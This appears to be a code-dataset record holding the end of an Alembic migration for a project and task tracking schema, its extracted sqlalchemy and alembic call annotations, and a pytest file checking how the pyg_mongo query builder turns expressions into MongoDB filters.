sa.UniqueConstraint('email')
)
op.create_table('organisation',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=70), nullable=False),
sa.Column('passcode', sa.Text(), nullable=False),
sa.Column('location', sa.String(length=30), nullable=False),
sa.Column('registered_at', sa.DateTime(), server_default=sa.text('now()'), nullable=False),
sa.Column('registered_by', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['registered_by'], ['user.id'], ),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('name')
)
op.create_table('project',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=100), nullable=False),
sa.Column('description', sa.String(length=255), server_default='', nullable=False),
sa.Column('status_id', sa.Integer(), nullable=True),
sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=False),
sa.Column('organisation_id', sa.Integer(), nullable=True),
sa.Column('created_by', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['created_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['organisation_id'], ['organisation.id'], ),
sa.ForeignKeyConstraint(['status_id'], ['status.id'], ),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('name')
)
op.create_table('user_organisation',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_id', sa.Integer(), nullable=False),
sa.Column('organisation_id', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['organisation_id'], ['organisation.id'], ),
sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),
sa.PrimaryKeyConstraint('id')
)
op.create_table('project_history',
sa.Column('remarks', sa.Text(), server_default=sa.text('NULL'), nullable=True),
sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=False),
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('project_id', sa.Integer(), nullable=False),
sa.Column('created_by', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['created_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['project_id'], ['project.id'], ),
sa.PrimaryKeyConstraint('id')
)
op.create_table('task',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=200), nullable=False),
sa.Column('description', sa.Text(), nullable=False),
sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=False),
sa.Column('created_by', sa.Integer(), nullable=True),
sa.Column('assigned_by', sa.Integer(), nullable=True),
sa.Column('assigned_to', sa.Integer(), nullable=True),
sa.Column('reviewed_by', sa.Integer(), nullable=True),
sa.Column('status_id', sa.Integer(), nullable=True),
sa.Column('criticality_id', sa.Integer(), nullable=True),
sa.Column('expected_completion_date', sa.DateTime(),
sa.Computed('created_at + INTERVAL 3 DAY', persisted=True), nullable=False),
sa.Column('project_id', sa.Integer(), nullable=True),
sa.Column('actual_completion_date', sa.DateTime(), server_default=sa.text('NULL'), nullable=True),
sa.ForeignKeyConstraint(['assigned_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['assigned_to'], ['user.id'], ),
sa.ForeignKeyConstraint(['created_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['criticality_id'], ['criticality.id'], ),
sa.ForeignKeyConstraint(['project_id'], ['project.id'], ),
sa.ForeignKeyConstraint(['reviewed_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['status_id'], ['status.id'], ),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('name')
)
op.create_table('user_project',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_id', sa.Integer(), nullable=False),
sa.Column('project_id', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['project_id'], ['project.id'], ),
sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),
sa.PrimaryKeyConstraint('id')
)
op.create_table('task_history',
sa.Column('remarks', sa.Text(), server_default=sa.text('NULL'), nullable=True),
sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=False),
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('task_id', sa.Integer(), nullable=False),
sa.Column('created_by', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['created_by'], ['user.id'], ),
sa.ForeignKeyConstraint(['task_id'], ['task.id'], ),
sa.PrimaryKeyConstraint('id')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('task_history')
op.drop_table('user_project')
op.drop_table('task')
op.drop_table('project_history')
op.drop_table('user_organisation')
op.drop_table('project')
op.drop_table('organisation')
op.drop_table('user')
op.drop_table('status')
op.drop_table('role')
op.drop_table('criticality')
# ### end Alembic commands ###
| [
"sqlalchemy.ForeignKeyConstraint",
"sqlalchemy.Computed",
"sqlalchemy.text",
"sqlalchemy.DateTime",
"alembic.op.drop_table",
"sqlalchemy.Text",
"sqlalchemy.Boolean",
"sqlalchemy.PrimaryKeyConstraint",
"sqlalchemy.Integer",
"sqlalchemy.UniqueConstraint",
"sqlalchemy.String"
] | [((8159, 8188), 'alembic.op.drop_table', 'op.drop_table', (['"""task_history"""'], {}), "('task_history')\n", (8172, 8188), False, 'from alembic import op\n'), ((8193, 8222), 'alembic.op.drop_table', 'op.drop_table', (['"""user_project"""'], {}), "('user_project')\n", (8206, 8222), False, 'from alembic import op\n'), ((8227, 8248), 'alembic.op.drop_table', 'op.drop_table', (['"""task"""'], {}), "('task')\n", (8240, 8248), False, 'from alembic import op\n'), ((8253, 8285), 'alembic.op.drop_table', 'op.drop_table', (['"""project_history"""'], {}), "('project_history')\n", (8266, 8285), False, 'from alembic import op\n'), ((8290, 8324), 'alembic.op.drop_table', 'op.drop_table', (['"""user_organisation"""'], {}), "('user_organisation')\n", (8303, 8324), False, 'from alembic import op\n'), ((8329, 8353), 'alembic.op.drop_table', 'op.drop_table', (['"""project"""'], {}), "('project')\n", (8342, 8353), False, 'from alembic import op\n'), ((8358, 8387), 'alembic.op.drop_table', 'op.drop_table', (['"""organisation"""'], {}), "('organisation')\n", (8371, 8387), False, 'from alembic import op\n'), ((8392, 8413), 'alembic.op.drop_table', 'op.drop_table', (['"""user"""'], {}), "('user')\n", (8405, 8413), False, 'from alembic import op\n'), ((8418, 8441), 'alembic.op.drop_table', 'op.drop_table', (['"""status"""'], {}), "('status')\n", (8431, 8441), False, 'from alembic import op\n'), ((8446, 8467), 'alembic.op.drop_table', 'op.drop_table', (['"""role"""'], {}), "('role')\n", (8459, 8467), False, 'from alembic import op\n'), ((8472, 8500), 'alembic.op.drop_table', 'op.drop_table', (['"""criticality"""'], {}), "('criticality')\n", (8485, 8500), False, 'from alembic import op\n'), ((562, 591), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (585, 591), True, 'import sqlalchemy as sa\n'), ((613, 641), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""value"""'], {}), "('value')\n", (632, 641), True, 'import sqlalchemy as sa\n'), ((858, 887), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (881, 887), True, 'import sqlalchemy as sa\n'), ((909, 937), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""value"""'], {}), "('value')\n", (928, 937), True, 'import sqlalchemy as sa\n'), ((1156, 1185), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (1179, 1185), True, 'import sqlalchemy as sa\n'), ((1207, 1235), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""value"""'], {}), "('value')\n", (1226, 1235), True, 'import sqlalchemy as sa\n'), ((1971, 2020), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['role_id']", "['role.id']"], {}), "(['role_id'], ['role.id'])\n", (1994, 2020), True, 'import sqlalchemy as sa\n'), ((2044, 2073), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (2067, 2073), True, 'import sqlalchemy as sa\n'), ((2095, 2123), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""email"""'], {}), "('email')\n", (2114, 2123), True, 'import sqlalchemy as sa\n'), ((2687, 2742), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['registered_by']", "['user.id']"], {}), "(['registered_by'], ['user.id'])\n", (2710, 2742), True, 'import sqlalchemy as sa\n'), ((2766, 2795), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (2789, 2795), True, 'import sqlalchemy as sa\n'), ((2817, 2844), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""name"""'], {}), "('name')\n", (2836, 2844), True, 'import sqlalchemy as sa\n'), ((3503, 3555), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['created_by']", "['user.id']"], {}), "(['created_by'], ['user.id'])\n", (3526, 3555), True, 'import sqlalchemy as sa\n'), ((3579, 3644), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['organisation_id']", "['organisation.id']"], {}), "(['organisation_id'], ['organisation.id'])\n", (3602, 3644), True, 'import sqlalchemy as sa\n'), ((3668, 3721), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['status_id']", "['status.id']"], {}), "(['status_id'], ['status.id'])\n", (3691, 3721), True, 'import sqlalchemy as sa\n'), ((3745, 3774), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (3768, 3774), True, 'import sqlalchemy as sa\n'), ((3796, 3823), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""name"""'], {}), "('name')\n", (3815, 3823), True, 'import sqlalchemy as sa\n'), ((4126, 4191), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['organisation_id']", "['organisation.id']"], {}), "(['organisation_id'], ['organisation.id'])\n", (4149, 4191), True, 'import sqlalchemy as sa\n'), ((4215, 4264), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['user_id']", "['user.id']"], {}), "(['user_id'], ['user.id'])\n", (4238, 4264), True, 'import sqlalchemy as sa\n'), ((4288, 4317), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (4311, 4317), True, 'import sqlalchemy as sa\n'), ((4825, 4877), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['created_by']", "['user.id']"], {}), "(['created_by'], ['user.id'])\n", (4848, 4877), True, 'import sqlalchemy as sa\n'), ((4901, 4956), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['project_id']", "['project.id']"], {}), "(['project_id'], ['project.id'])\n", (4924, 4956), True, 'import sqlalchemy as sa\n'), ((4980, 5009), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (5003, 5009), True, 'import sqlalchemy as sa\n'), ((6230, 6283), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['assigned_by']", "['user.id']"], {}), "(['assigned_by'], ['user.id'])\n", (6253, 6283), True, 'import sqlalchemy as sa\n'), ((6307, 6360), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['assigned_to']", "['user.id']"], {}), "(['assigned_to'], ['user.id'])\n", (6330, 6360), True, 'import sqlalchemy as sa\n'), ((6384, 6436), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['created_by']", "['user.id']"], {}), "(['created_by'], ['user.id'])\n", (6407, 6436), True, 'import sqlalchemy as sa\n'), ((6460, 6523), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['criticality_id']", "['criticality.id']"], {}), "(['criticality_id'], ['criticality.id'])\n", (6483, 6523), True, 'import sqlalchemy as sa\n'), ((6547, 6602), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['project_id']", "['project.id']"], {}), "(['project_id'], ['project.id'])\n", (6570, 6602), True, 'import sqlalchemy as sa\n'), ((6626, 6679), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['reviewed_by']", "['user.id']"], {}), "(['reviewed_by'], ['user.id'])\n", (6649, 6679), True, 'import sqlalchemy as sa\n'), ((6703, 6756), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['status_id']", "['status.id']"], {}), "(['status_id'], ['status.id'])\n", (6726, 6756), True, 'import sqlalchemy as sa\n'), ((6780, 6809), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (6803, 6809), True, 'import sqlalchemy as sa\n'), ((6831, 6858), 'sqlalchemy.UniqueConstraint', 'sa.UniqueConstraint', (['"""name"""'], {}), "('name')\n", (6850, 6858), True, 'import sqlalchemy as sa\n'), ((7151, 7206), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['project_id']", "['project.id']"], {}), "(['project_id'], ['project.id'])\n", (7174, 7206), True, 'import sqlalchemy as sa\n'), ((7230, 7279), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['user_id']", "['user.id']"], {}), "(['user_id'], ['user.id'])\n", (7253, 7279), True, 'import sqlalchemy as sa\n'), ((7303, 7332), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (7326, 7332), True, 'import sqlalchemy as sa\n'), ((7834, 7886), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['created_by']", "['user.id']"], {}), "(['created_by'], ['user.id'])\n", (7857, 7886), True, 'import sqlalchemy as sa\n'), ((7910, 7959), 'sqlalchemy.ForeignKeyConstraint', 'sa.ForeignKeyConstraint', (["['task_id']", "['task.id']"], {}), "(['task_id'], ['task.id'])\n", (7933, 7959), True, 'import sqlalchemy as sa\n'), ((7983, 8012), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""id"""'], {}), "('id')\n", (8006, 8012), True, 'import sqlalchemy as sa\n'), ((432, 444), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (442, 444), True, 'import sqlalchemy as sa\n'), ((502, 523), 'sqlalchemy.String', 'sa.String', ([], {'length': '(100)'}), '(length=100)\n', (511, 523), True, 'import sqlalchemy as sa\n'), ((728, 740), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (738, 740), True, 'import sqlalchemy as sa\n'), ((798, 819), 'sqlalchemy.String', 'sa.String', ([], {'length': '(100)'}), '(length=100)\n', (807, 819), True, 'import sqlalchemy as sa\n'), ((1026, 1038), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1036, 1038), True, 'import sqlalchemy as sa\n'), ((1096, 1117), 'sqlalchemy.String', 'sa.String', ([], {'length': '(100)'}), '(length=100)\n', (1105, 1117), True, 'import sqlalchemy as sa\n'), ((1322, 1334), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1332, 1334), True, 'import sqlalchemy as sa\n'), ((1397, 1417), 'sqlalchemy.String', 'sa.String', ([], {'length': '(30)'}), '(length=30)\n', (1406, 1417), True, 'import sqlalchemy as sa\n'), ((1479, 1499), 'sqlalchemy.String', 'sa.String', ([], {'length': '(30)'}), '(length=30)\n', (1488, 1499), True, 'import sqlalchemy as sa\n'), ((1557, 1578), 'sqlalchemy.String', 'sa.String', ([], {'length': '(200)'}), '(length=200)\n', (1566, 1578), True, 'import sqlalchemy as sa\n'), ((1639, 1648), 'sqlalchemy.Text', 'sa.Text', ([], {}), '()\n', (1646, 1648), True, 'import sqlalchemy as sa\n'), ((1712, 1724), 'sqlalchemy.Boolean', 'sa.Boolean', ([], {}), '()\n', (1722, 1724), True, 'import sqlalchemy as sa\n'), ((1815, 1828), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (1826, 1828), True, 'import sqlalchemy as sa\n'), ((1920, 1932), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1930, 1932), True, 'import sqlalchemy as sa\n'), ((2218, 2230), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2228, 2230), True, 'import sqlalchemy as sa\n'), ((2287, 2307), 'sqlalchemy.String', 'sa.String', ([], {'length': '(70)'}), '(length=70)\n', (2296, 2307), True, 'import sqlalchemy as sa\n'), ((2368, 2377), 'sqlalchemy.Text', 'sa.Text', ([], {}), '()\n', (2375, 2377), True, 'import sqlalchemy as sa\n'), ((2438, 2458), 'sqlalchemy.String', 'sa.String', ([], {'length': '(30)'}), '(length=30)\n', (2447, 2458), True, 'import sqlalchemy as sa\n'), ((2524, 2537), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (2535, 2537), True, 'import sqlalchemy as sa\n'), ((2636, 2648), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2646, 2648), True, 'import sqlalchemy as sa\n'), ((2934, 2946), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2944, 2946), True, 'import sqlalchemy as sa\n'), ((3003, 3024), 'sqlalchemy.String', 'sa.String', ([], {'length': '(100)'}), '(length=100)\n', (3012, 3024), True, 'import sqlalchemy as sa\n'), ((3088, 3109), 'sqlalchemy.String', 'sa.String', ([], {'length': '(255)'}), '(length=255)\n', (3097, 3109), True, 'import sqlalchemy as sa\n'), ((3190, 3202), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (3200, 3202), True, 'import sqlalchemy as sa\n'), ((3264, 3277), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (3275, 3277), True, 'import sqlalchemy as sa\n'), ((3378, 3390), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (3388, 3390), True, 'import sqlalchemy as sa\n'), ((3452, 3464), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (3462, 3464), True, 'import sqlalchemy as sa\n'), ((3923, 3935), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (3933, 3935), True, 'import sqlalchemy as sa\n'), ((3995, 4007), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (4005, 4007), True, 'import sqlalchemy as sa\n'), ((4075, 4087), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (4085, 4087), True, 'import sqlalchemy as sa\n'), ((4420, 4429), 'sqlalchemy.Text', 'sa.Text', ([], {}), '()\n', (4427, 4429), True, 'import sqlalchemy as sa\n'), ((4523, 4536), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (4534, 4536), True, 'import sqlalchemy as sa\n'), ((4624, 4636), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (4634, 4636), True, 'import sqlalchemy as sa\n'), ((4699, 4711), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (4709, 4711), True, 'import sqlalchemy as sa\n'), ((4774, 4786), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (4784, 4786), True, 'import sqlalchemy as sa\n'), ((5096, 5108), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5106, 5108), True, 'import sqlalchemy as sa\n'), ((5165, 5186), 'sqlalchemy.String', 'sa.String', ([], {'length': '(200)'}), '(length=200)\n', (5174, 5186), True, 'import sqlalchemy as sa\n'), ((5250, 5259), 'sqlalchemy.Text', 'sa.Text', ([], {}), '()\n', (5257, 5259), True, 'import sqlalchemy as sa\n'), ((5322, 5335), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (5333, 5335), True, 'import sqlalchemy as sa\n'), ((5431, 5443), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5441, 5443), True, 'import sqlalchemy as sa\n'), ((5506, 5518), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5516, 5518), True, 'import sqlalchemy as sa\n'), ((5581, 5593), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5591, 5593), True, 'import sqlalchemy as sa\n'), ((5656, 5668), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5666, 5668), True, 'import sqlalchemy as sa\n'), ((5729, 5741), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5739, 5741), True, 'import sqlalchemy as sa\n'), ((5807, 5819), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (5817, 5819), True, 'import sqlalchemy as sa\n'), ((5895, 5908), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (5906, 5908), True, 'import sqlalchemy as sa\n'), ((5940, 5998), 'sqlalchemy.Computed', 'sa.Computed', (['"""created_at + INTERVAL 3 DAY"""'], {'persisted': '(True)'}), "('created_at + INTERVAL 3 DAY', persisted=True)\n", (5951, 5998), True, 'import sqlalchemy as sa\n'), ((6061, 6073), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (6071, 6073), True, 'import sqlalchemy as sa\n'), ((6147, 6160), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (6158, 6160), True, 'import sqlalchemy as sa\n'), ((6953, 6965), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (6963, 6965), True, 'import sqlalchemy as sa\n'), ((7025, 7037), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (7035, 7037), True, 'import sqlalchemy as sa\n'), ((7100, 7112), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (7110, 7112), True, 'import sqlalchemy as sa\n'), ((7432, 7441), 'sqlalchemy.Text', 'sa.Text', ([], {}), '()\n', (7439, 7441), True, 'import sqlalchemy as sa\n'), ((7535, 7548), 'sqlalchemy.DateTime', 'sa.DateTime', ([], {}), '()\n', (7546, 7548), True, 'import sqlalchemy as sa\n'), ((7636, 7648), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (7646, 7648), True, 'import sqlalchemy as sa\n'), ((7708, 7720), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (7718, 7720), True, 'import sqlalchemy as sa\n'), ((7783, 7795), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (7793, 7795), True, 'import sqlalchemy as sa\n'), ((1741, 1753), 'sqlalchemy.text', 'sa.text', (['"""0"""'], {}), "('0')\n", (1748, 1753), True, 'import sqlalchemy as sa\n'), ((1845, 1861), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (1852, 1861), True, 'import sqlalchemy as sa\n'), ((2554, 2570), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (2561, 2570), True, 'import sqlalchemy as sa\n'), ((3294, 3310), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (3301, 3310), True, 'import sqlalchemy as sa\n'), ((4446, 4461), 'sqlalchemy.text', 'sa.text', (['"""NULL"""'], {}), "('NULL')\n", (4453, 4461), True, 'import sqlalchemy as sa\n'), ((4553, 4569), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (4560, 4569), True, 'import sqlalchemy as sa\n'), ((5352, 5368), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (5359, 5368), True, 'import sqlalchemy as sa\n'), ((6177, 6192), 'sqlalchemy.text', 'sa.text', (['"""NULL"""'], {}), "('NULL')\n", (6184, 6192), True, 'import sqlalchemy as sa\n'), ((7458, 7473), 'sqlalchemy.text', 'sa.text', (['"""NULL"""'], {}), "('NULL')\n", (7465, 7473), True, 'import sqlalchemy as sa\n'), ((7565, 7581), 'sqlalchemy.text', 'sa.text', (['"""now()"""'], {}), "('now()')\n", (7572, 7581), True, 'import sqlalchemy as sa\n')] |
from pyg_mongo import Q, q, mongo_table
import re
import pytest
regex = re.compile
def D(value):
if isinstance(value, dict):
return {x : D(y) for x, y in value.items()} ### this converts mdict to normal dict
elif isinstance(value, list):
return [D(y) for y in value]
else:
return value
def test_q():
assert D(q.a == 1) == {'a': {'$eq': 1}}
assert D(q.a != 1) == {'a': {'$ne': 1}}
assert D(q.a != [1,2,3]) == {"a": {"$nin": [1, 2, 3]}}
assert D(q.a <= 1) == {'a': {'$lte': 1}}
assert D(q.a >= 1) == {'a': {'$gte': 1}}
assert D(q.a < 1) == {'a': {'$lt': 1}}
assert D(q.a > 1) == {'a': {'$gt': 1}}
assert D((q.a == 1) + (q.b == 2)) == {'$and': [{'a': {'$eq': 1}}, {'b': {'$eq': 2}}]}
assert D(-(q.b == 2)) == {"$not": {"b": {"$eq": 2}}}
assert D(q.a % 2 == 1) == {'a': {'$mod': [2, 1]}}
assert D(-(q.a % 2 == 1)) == {'$not': {'a': {'$mod': [2, 1]}}}
assert D((q.a ==1) + (q.b == 1)) == {'$and': [{'a': {'$eq': 1}}, {'b': {'$eq': 1}}]}
assert D((q.a ==1) & (q.b == 1)) == {'$and': [{'a': {'$eq': 1}}, {'b': {'$eq': 1}}]}
assert D((q.a ==1) - (q.b == 1)) == {'$and': [{'$not': {'b': {'$eq': 1}}}, {'a': {'$eq': 1}}]}
assert D((q.a % 2 == 1)|(q.b == 1)) == {'$or': [{'a': {'$mod': [2, 1]}}, {'b': {'$eq': 1}}]}
assert D((q.a % 2 == 1) & (q.b == 1)) == {'$and': [{'a': {'$mod': [2, 1]}}, {'b': {'$eq': 1}}]}
assert D((q.a % 2 == 1) + (q.b == 1)) == {'$and': [{'a': {'$mod': [2, 1]}}, {'b': {'$eq': 1}}]}
assert D((q.a % 2 == 1) - (q.b == 1)) == {'$and': [{'$not': {'b': {'$eq': 1}}}, {'a': {'$mod': [2, 1]}}]}
assert D(q.a.isinstance(float)) == {"a": {"$type": [1, 19]}}
assert D(-(q.a % 2 == 1)) == {'$not': {'a': {'$mod': [2, 1]}}}
assert D(+(q.a % 2 == 1)) == {'a': {'$mod': [2, 1]}}
assert D(q.a % 2 + q.b == 1) == {'$and': [{'a': {'$not': {'$mod': [2, 0]}}}, {'b': {'$eq': 1}}]}
assert D(q.a % 2 + (q.b == 1)) == {'$and': [{'a': {'$not': {'$mod': [2, 0]}}}, {'b': {'$eq': 1}}]}
assert D(q.a % 2 & (q.b == 1)) == {'$and': [{'a': {'$not': {'$mod': [2, 0]}}}, {'b': {'$eq': 1}}]}
assert D(q.a % 2 - (q.b == 1)) == {'$and': [{'$not': {'b': {'$eq': 1}}}, {'a': {'$not': {'$mod': [2, 0]}}}]}
assert D(~(q.a % 2)) == {'a': {'$mod': [2, 0]}}
assert D(+(q.a % 2)) == {'a': {'$not': {'$mod': [2, 0]}}}
assert str(q.a % 3) == 'mod(a, 3)'
assert D((q.a == 1) | (q.b == 2)) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$eq': 2}}]}
assert D((q.a % 3 == 1) | (q.b == 2)) == {"$or": [{"a": {"$mod": [3, 1]}}, {"b": {"$eq": 2}}]}
assert D(q['some text'] == 1) == {'some text': {'$eq': 1}}
assert D(q.a == re.compile('^test')) == {'a': {'$regex': '^test'}}
assert D(q.a == re.compile('^test', re.IGNORECASE)) == {"a": {"$regex": "^test", "$options": "i"}}
assert D(q.a != re.compile('^test')) == {'a': {'$not': {'$regex': '^test'}}}
assert D(q.a != [1]) == {'a': {'$ne': [1]}}
assert D(q.a == [1]) == {'a': {'$eq': 1}}
assert D(q.a == [[1]]) == {'a': {'$eq': [1]}}
assert D(q.a['b'] == 1) == {'a.b': {'$eq': 1}}
assert D(q.a.b == 1) == {'a.b': {'$eq': 1}}
assert D(+q.a) == {'a': {'$exists': True}}
assert D(q.a.exists) == {'a': {'$exists': True}}
assert D(-q.a) == {'a': {'$exists': False}}
assert D(q.a.not_exists) == {'a': {'$exists': False}}
assert D(q.a == True) == {'a': {'$in': [True, 1]}}
assert D(q.a == False) == {'a': {'$in': [False, 0]}}
assert D(q.a == dict(b=1, c=2)) == {'$and': [{'a.b': {'$eq': 1}}, {'a.c': {'$eq': 2}}]}
assert D(q.a.exists & q.b == 2) == {'$and': [{'a': {'$exists': True}}, {'b': {'$eq': 2}}]}
assert D(q.a.exists | q.b == 2) == {'$or': [{'a': {'$exists': True}}, {'b': {'$eq': 2}}]}
assert D(q.a & q.b == 1) == {'$and': [{'a': {'$exists': True}}, {'b': {'$eq': 1}}]}
assert D(q.a + q.b == 1) == {'$and': [{'a': {'$exists': True}}, {'b': {'$eq': 1}}]}
assert D(q.a | (q.b == 1)) == {'$or': [{'a': {'$exists': True}}, {'b': {'$eq': 1}}]}
assert D(q.a - q.b) == {'$and': [{'a': {'$exists': True}}, {'b': {'$exists': False}}]}
assert D(q.a + q.b) == {'$and': [{'a': {'$exists': True}}, {'b': {'$exists': True}}]}
assert D(q.a - (q.b == 1)) == {'$and': [{'$not': {'b': {'$eq': 1}}}, {'a': {'$exists': True}}]}
assert D(q.a[5:10]) == {'$and': [{'a': {'$gte': 5}}, {'a': {'$lt': 10}}]}
assert D(q.a[5:]) == {'a': {'$gte': 5}}
assert D(q.a[:10]) == {'a': {'$lt': 10}}
assert D(q.a[::] == 1) == {'a': {'$eq': 1}}
assert D(q.a[2]) == {'a': {'$eq': 2}}
assert D(+q.a.b) == {'a.b': {'$exists': True}}
assert D((q.a == 1) | q.b > 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$gt': 1}}]}
assert D((q.a == 1) | q.b >= 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$gte': 1}}]}
